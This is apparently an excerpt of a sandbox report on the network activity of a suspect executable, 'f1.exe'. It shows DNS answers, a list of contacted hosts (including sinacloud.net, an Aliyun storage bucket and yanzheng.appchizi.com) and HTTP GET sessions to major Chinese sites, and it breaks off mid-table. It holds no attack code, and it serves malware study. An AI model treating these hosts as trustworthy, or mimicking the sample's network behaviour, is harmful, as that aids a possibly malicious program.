Aug 4, 2024 10:57:29.314950943 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1-ds-2088.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.314950943 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	eu-central-1-ds-2088.oss-acc.aliyuncs.com		47.254.187.186	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jb51.net	ca38c0f2.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ca38c0f2.jiasula.vip	g8450a5.usallient81.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.250	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.253	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.248	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.246	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.241	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.244	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.252	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.247	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.237	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.249	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.240	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.439080954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.251	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.463970900 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.zhihu.com	www.zhihu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.463970900 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.zhihu.com.dsa.dnsv1.com	bxjbqj09.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.463970900 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	bxjbqj09.e0.sched.ovscdns.com		43.152.29.38	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.463970900 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	bxjbqj09.e0.sched.ovscdns.com		43.152.186.108	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.470488071 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.zhihu.com	www.zhihu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.470488071 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.zhihu.com.dsa.dnsv1.com	bxjbqj09.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.470488071 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	bxjbqj09.e0.sched.ovscdns.com		43.159.71.118	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.470488071 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	bxjbqj09.e0.sched.ovscdns.com		43.159.70.125	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jb51.net	ca38c0f2.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ca38c0f2.jiasula.vip	g8450a5.usallient81.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.244	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.240	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.248	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.250	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.241	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.247	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.253	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.252	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.246	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.249	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.251	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514568090 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.237	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514601946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com	www.cctv.com.wsglb0.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514601946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		138.113.115.36	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.514601946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		163.171.208.133	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hupu.com	www.hupu.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hupu.com.cdn.dnsv1.com	dc3ee476.ovslegodl-dk.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.77	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.188	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.100	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.139	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.143.134	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.143.159	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.9	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.27.8	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.194	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.246	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.173	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.175.139.72	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.158	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.185	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.527992964 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.175	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.autohome.com.cn	www.autohome.com.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.autohome.com.cn.a.bdydns.com	opencdnqczjv6.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		218.68.136.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		112.65.203.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		119.188.176.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		121.22.239.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.221.222.1	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		211.97.82.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.203.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		211.93.20.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.51.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.602628946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.199.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.641989946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	guangzhoucs.oss-accelerate.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.641989946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.641989946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	ap-southeast-1-ds-2088.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.641989946 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ap-southeast-1-ds-2088.oss-acc.aliyuncs.com		161.117.242.92	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hupu.com	www.hupu.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hupu.com.cdn.dnsv1.com	dc3ee476.ovslegodl-dk.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.200	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.117	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.235	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.196	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.242	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.245	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.122	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.680867910 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.251	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.703186035 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.703186035 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.703186035 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.autohome.com.cn	www.autohome.com.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.autohome.com.cn.a.bdydns.com	opencdnqczjv6.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.51.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		112.65.203.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.203.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		157.148.65.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		119.188.176.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		211.97.83.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		175.12.110.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		222.141.4.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		211.95.34.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.891463041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		221.204.49.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:31.140774012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:31.140774012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:31.143049955 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:31.143049955 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:32.102387905 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:32.102387905 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:32.678378105 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:32.678378105 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:42.322664022 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:42.322664022 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:42.327001095 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:42.327001095 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:49.228745937 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:49.228745937 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:49.393870115 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:49.393870115 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:58:01.283279896 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:58:01.283279896 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:58:01.523988008 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:58:01.523988008 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.kuaishou.com

www.sohu.com

www.douyin.com

www.qq.com

www.baidu.com

www.sogou.com

www.jd.com

www.so.com

www.sina.com.cn

soso.com

www.1688.com

www.hao123.com

youdao.com

www.eastmoney.com

foodmate.net

www.jmw.com.cn

www.cdstm.cn

www.hupu.com

www.cctv.com

www.tencent.com

www.autohome.com.cn

guangzhoucs.oss-accelerate.aliyuncs.com

sinacloud.net

www.jb51.net

www.zhihu.com

yanzheng.appchizi.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	103.102.202.125	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:15.851053953 CEST	222	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.kuaishou.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.238913059 CEST	425	IN	HTTP/1.1 307 Temporary Redirect Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html Content-Length: 218 Connection: keep-alive Location: https://www.kuaishou.com/ X-KSClient-IP: 8.46.123.33 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	43.159.70.125	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:15.973798990 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sohu.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:16.920464039 CEST	226	IN	HTTP/1.1 302 Found Location: https://www.sohu.com/ Content-Length: 0 X-NWS-LOG-UUID: 14277902404342666386 Connection: keep-alive Server: OverSea_E0 Date: Sun, 04 Aug 2024 08:57:16 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	163.181.201.232	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:15.978817940 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.douyin.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:16.902543068 CEST	590	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Sun, 04 Aug 2024 08:57:16 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.douyin.com/ x-tt-trace-tag: id=03;cdn-cache=miss;type=dyn Via: ens-cache20.sg25[,0] Timing-Allow-Origin: * EagleId: a3b5c9a817227618367275224e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49704	43.132.73.61	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.099271059 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.qq.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.057308912 CEST	231	IN	HTTP/1.1 302 Found Server: stgw Content-Type: text/html Location: https://www.qq.com/ Content-Length: 137 Connection: keep-alive Date: Sun, 04 Aug 2024 08:57:16 GMT EO-LOG-UUID: 6752709155011981311 EO-Cache-Status: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
